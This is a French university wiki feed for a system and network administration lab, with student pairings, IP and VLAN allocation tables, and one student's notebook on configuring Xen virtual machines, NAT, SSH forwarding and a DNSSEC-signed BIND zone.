encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Deadpool.tech-2026-02-18-08_31_41-UTC.png&amp;diff=12350</id>
		<title>Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Deadpool.tech-2026-02-18-08_31_41-UTC.png&amp;diff=12350"/>
		<updated>2026-02-23T10:08:47Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;DNSviz&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12275</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12275"/>
		<updated>2026-02-18T08:54:36Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.tech|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || dardevil.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|Styx&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|-&lt;br /&gt;
|E8-Yassine&lt;br /&gt;
|18&lt;br /&gt;
|-&lt;br /&gt;
|E7-Ibrahim&lt;br /&gt;
|17&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolYassine&lt;br /&gt;
|10.60.8.0/24&lt;br /&gt;
|2001:660:4401:60a8::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolEvora&lt;br /&gt;
|10.60.11.0/24&lt;br /&gt;
|2001:660:4401:60ab::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12269</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12269"/>
		<updated>2026-02-15T11:33:42Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* Vlan */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut '''redémarrer''' la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l'interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de '''synchroniser l'heure''' du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec '''iptables''', et consiste à donne une adresse IPv4 qui permet d'accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les '''trois VMs''' on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite '''redémarrer''' le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La '''redirection du port ssh''' ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être '''décommentée''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d'avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
